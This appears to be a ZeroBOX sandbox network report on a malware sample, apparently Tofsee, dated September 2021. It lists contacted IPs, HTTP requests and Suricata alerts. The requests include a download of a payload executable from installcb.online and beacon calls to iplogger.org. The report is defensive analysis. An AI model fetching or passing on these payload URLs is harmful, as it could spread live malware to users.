popup
NetWork | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Network Analysis

Download pcap
Hosts 8 DNS 6 TCP 9 UDP 11 HTTP(S) 7 ICMP 0 IRC 0 Suricata Snort
IP Address Status Action
104.18.20.226 Active Moloch
104.26.12.31 Active Moloch
117.18.232.200 Active Moloch
164.124.101.2 Active Moloch
31.31.196.204 Active Moloch
79.174.13.108 Active Moloch
80.66.87.32 Active Moloch
88.99.66.31 Active Moloch
GET 200 https://api.ip.sb/geoip
REQUEST
: GET /geoip HTTP/1.1
Host: api.ip.sb
Connection: Keep-Alive
RESPONSE
: HTTP/1.1 200 OK
Date: Sun, 19 Sep 2021 01
Content-Type: application/json; charset=utf-8
Content-Length: 348
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Cache-Control: no-cache
Access-Control-Allow-Origin: *
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https
Report-To: {"endpoints"
NEL: {"success_fraction"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 690f312f3dcc0a9a-KIX
alt-svc: h3="
BODY 

            

        


    



        
            

    
        GET
        
        200
        https://api.ip.sb/geoip
        
    
    


        

            

                
 REQUEST

                

                    
                    

	
			

				:
				GET /geoip HTTP/1.1
			

			

				Host:
				 api.ip.sb
			

			

				Connection:
				 Keep-Alive
			

	


                

            

            

                
 RESPONSE

                

                    
                    

	
			

				:
				HTTP/1.1 200 OK
			

			

				Date:
				 Sun, 19 Sep 2021 01
			

			

				Content-Type:
				 application/json; charset=utf-8
			

			

				Content-Length:
				 348
			

			

				Connection:
				 keep-alive
			

			

				Vary:
				 Accept-Encoding
			

			

				Vary:
				 Accept-Encoding
			

			

				Cache-Control:
				 no-cache
			

			

				Access-Control-Allow-Origin:
				 *
			

			

				CF-Cache-Status:
				 DYNAMIC
			

			

				Expect-CT:
				 max-age=604800, report-uri="https
			

			

				Report-To:
				 {"endpoints"
			

			

				NEL:
				 {"success_fraction"
			

			

				Strict-Transport-Security:
				 max-age=31536000; includeSubDomains; preload
			

			

				Server:
				 cloudflare
			

			

				CF-RAY:
				 690f312f98d90a7a-KIX
			

			

				alt-svc:
				 h3="
			

	


                

            

        


        

            

                 BODY
                
            

            

                

            

        


    



        
            

    
        GET
        
        200
        https://installcb.online/40.exe
        
    
    


        

            

                
 REQUEST

                

                    
                    

	
			

				:
				GET /40.exe HTTP/1.1
			

			

				Host:
				 installcb.online
			

			

				Connection:
				 Keep-Alive
			

	


                

            

            

                
 RESPONSE

                

                    
                    

	
			

				:
				HTTP/1.1 200 OK
			

			

				Server:
				 nginx
			

			

				Date:
				 Sun, 19 Sep 2021 01
			

			

				Content-Type:
				 application/octet-stream
			

			

				Content-Length:
				 1346053
			

			

				Last-Modified:
				 Sat, 18 Sep 2021 17
			

			

				Connection:
				 keep-alive
			

			

				ETag:
				 "61461ea3-148a05"
			

			

				Strict-Transport-Security:
				 max-age=31536000;
			

			

				Accept-Ranges:
				 bytes
			

	


                

            

        


        

            

                 BODY
                
            

            

                

            

        


    



        
            

    
        GET
        
        200
        https://iplogger.org/1hEue7
        
    
    


        

            

                
 REQUEST

                

                    
                    

	
			

				:
				GET /1hEue7 HTTP/1.1
			

			

				Accept:
				 text/html, application/xhtml+xml, */*
			

			

				Accept-Language:
				 ko-KR
			

			

				User-Agent:
				 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
			

			

				Accept-Encoding:
				 gzip, deflate
			

			

				Host:
				 iplogger.org
			

			

				Connection:
				 Keep-Alive
			

	


                

            

            

                
 RESPONSE

                

                    
                    

	
			

				:
				HTTP/1.1 200 OK
			

			

				Server:
				 nginx
			

			

				Date:
				 Sun, 19 Sep 2021 01
			

			

				Content-Type:
				 image/png
			

			

				Transfer-Encoding:
				 chunked
			

			

				Connection:
				 keep-alive
			

			

				Set-Cookie:
				 PHPSESSID=ea59rlbmnaoa58ig3ee3boa5m7; path=/; HttpOnly
			

			

				Pragma:
				 no-cache
			

			

				Set-Cookie:
				 clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05
			

			

				Set-Cookie:
				 timezone=deleted; expires=Thu, 01-Jan-1970 00
			

			

				Set-Cookie:
				 timezone=deleted; expires=Thu, 01-Jan-1970 00
			

			

				Cache-Control:
				 no-cache
			

			

				Expires:
				 Thu, 01 Jan 1970 00
			

			

				Answers:
				 
			

			

				whoami:
				 21d1bae8c0546c680eefc0aec657209580c4a4eed0fb956496eb50a2dfb729aa
			

			

				Strict-Transport-Security:
				 max-age=31536000; preload
			

			

				X-Frame-Options:
				 DENY
			

	


                

            

        


        

            

                 BODY
                
            

            

                

            

        


    



        
            

    
        GET
        
        200
        https://iplogger.org/favicon.ico
        
    
    


        

            

                
 REQUEST

                

                    
                    

	
			

				:
				GET /favicon.ico HTTP/1.1
			

			

				Accept:
				 */*
			

			

				Accept-Encoding:
				 gzip, deflate
			

			

				User-Agent:
				 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
			

			

				Host:
				 iplogger.org
			

			

				Connection:
				 Keep-Alive
			

			

				Cookie:
				 PHPSESSID=ea59rlbmnaoa58ig3ee3boa5m7; clhf03028ja=175.208.134.150
			

	


                

            

            

                
 RESPONSE

                

                    
                    

	
			

				:
				HTTP/1.1 200 OK
			

			

				Server:
				 nginx
			

			

				Date:
				 Sun, 19 Sep 2021 01
			

			

				Content-Type:
				 image/x-icon
			

			

				Content-Length:
				 16446
			

			

				Last-Modified:
				 Wed, 17 Mar 2021 07
			

			

				Connection:
				 keep-alive
			

			

				ETag:
				 "6051ac5a-403e"
			

			

				Expires:
				 Thu, 01 Jan 1970 00
			

			

				Cache-Control:
				 no-cache
			

			

				Strict-Transport-Security:
				 max-age=31536000; preload
			

			

				X-Frame-Options:
				 DENY
			

			

				Accept-Ranges:
				 bytes
			

	


                

            

        


        

            

                 BODY
                
            

            

                

            

        


    



        
        
            

    
        GET
        
        200
        http://secure.globalsign.com/cacert/root-r3.crt
        
    
    


        

            

                
 REQUEST

                

                    
                    

	
			

				:
				GET /cacert/root-r3.crt HTTP/1.1
			

			

				Connection:
				 Keep-Alive
			

			

				Accept:
				 */*
			

			

				User-Agent:
				 Microsoft-CryptoAPI/6.1
			

			

				Host:
				 secure.globalsign.com
			

	


                

            

            

                
 RESPONSE

                

                    
                    

	
			

				:
				HTTP/1.1 200 OK
			

			

				Date:
				 Sun, 19 Sep 2021 01
			

			

				Content-Type:
				 application/x-x509-ca-cert
			

			

				Content-Length:
				 867
			

			

				Connection:
				 keep-alive
			

			

				Last-Modified:
				 Mon, 18 May 2015 09
			

			

				ETag:
				 "5559b30e-363"
			

			

				CF-Cache-Status:
				 HIT
			

			

				Age:
				 9827
			

			

				Expires:
				 Wed, 20 Oct 2021 01
			

			

				Cache-Control:
				 public, max-age=2678400
			

			

				Accept-Ranges:
				 bytes
			

			

				Server:
				 cloudflare
			

			

				CF-RAY:
				 690f31f2190ae9f8-ICN
			

	


                

            

        


        

            

                 BODY
                
            

            

                

            

        


    



        
            

    
        GET
        
        200
        http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
        
    
    


        

            

                
 REQUEST

                

                    
                    

	
			

				:
				GET /IE9CompatViewList.xml HTTP/1.1
			

			

				Accept:
				 */*
			

			

				Accept-Encoding:
				 gzip, deflate
			

			

				User-Agent:
				 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
			

			

				Host:
				 ie9cvlist.ie.microsoft.com
			

			

				If-Modified-Since:
				 Fri, 16 Oct 2020 17
			

			

				If-None-Match:
				 0x8D871FC7BDF491D
			

			

				Connection:
				 Keep-Alive
			

	


                

            

            

                
 RESPONSE

                

                    
                    

	
			

				:
				HTTP/1.1 200 OK
			

			

				Content-Encoding:
				 gzip
			

			

				Age:
				 9394
			

			

				Cache-Control:
				 max-age=21600
			

			

				Content-MD5:
				 p9g4jsuZO6TaLMVAI9ujVg==
			

			

				Content-Type:
				 text/xml
			

			

				Date:
				 Sun, 19 Sep 2021 01
			

			

				Etag:
				 0x8D9521D2D2DF1EC
			

			

				Last-Modified:
				 Wed, 28 Jul 2021 23
			

			

				Server:
				 ECAcc (tka/897A)
			

			

				Vary:
				 Accept-Encoding
			

			

				X-Cache:
				 HIT
			

			

				x-ms-blob-type:
				 BlockBlob
			

			

				x-ms-lease-status:
				 unlocked
			

			

				x-ms-request-id:
				 ec92ead7-c01e-0015-1fe3-ac2f9b000000
			

			

				x-ms-version:
				 2009-09-19
			

			

				Content-Length:
				 13702
			

	


                

            

        


        

            

                 BODY
                
            

            

                

            

        


    



        
	




                            
ICMP traffic



No ICMP traffic performed.



                            
IRC traffic



No IRC requests performed.



                            
Suricata Alerts


    

        

            Flow
            SID
            Signature
            Category
        

        
        

            
                TCP
                192.168.56.102:49177 ->
                104.26.12.31:443
            
            906200056
            SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)
            undefined
        

        
        

            
                TCP
                192.168.56.102:49178 ->
                104.26.12.31:443
            
            906200056
            SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)
            undefined
        

        
        

            
                TCP
                192.168.56.102:49196 ->
                88.99.66.31:443
            
            906200056
            SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)
            undefined
        

        
        

            
                TCP
                192.168.56.102:49197 ->
                88.99.66.31:443
            
            906200056
            SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)
            undefined
        

        
        

            
                TCP
                192.168.56.102:49187 ->
                31.31.196.204:443
            
            906200022
            SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)
            undefined
        

        
    




Suricata TLS


    

        

            Flow
            Issuer
            Subject
            Fingerprint
        

        
        

            
                TLSv1 

                192.168.56.102:49177 

                104.26.12.31:443
            		
            C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2
            C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com
            7d:9f:08:6e:96:fc:4c:1d:eb:94:53:45:8a:6c:7e:e7:c1:69:47:e9
        

        
        

            
                TLSv1 

                192.168.56.102:49178 

                104.26.12.31:443
            		
            C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2
            C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com
            7d:9f:08:6e:96:fc:4c:1d:eb:94:53:45:8a:6c:7e:e7:c1:69:47:e9
        

        
        

            
                TLSv1 

                192.168.56.102:49196 

                88.99.66.31:443
            		
            C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA
            CN=*.iplogger.org
            55:1e:13:99:46:1c:67:40:a3:48:7f:38:0d:16:e7:51:f4:c4:43:cb
        

        
        

            
                TLSv1 

                192.168.56.102:49197 

                88.99.66.31:443
            		
            C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA
            CN=*.iplogger.org
            55:1e:13:99:46:1c:67:40:a3:48:7f:38:0d:16:e7:51:f4:c4:43:cb
        

        
        

            
                TLS 1.2 

                192.168.56.102:49187 

                31.31.196.204:443
            		
            C=BE, O=GlobalSign nv-sa, CN=GlobalSign GCC R3 DV TLS CA 2020
            CN=www.installcb.online
            41:c7:cf:0d:d3:ab:c2:1a:1a:55:15:1d:dd:bc:c3:22:7f:b3:26:c8
        

        
    





                            
Snort Alerts


    
No Snort Alerts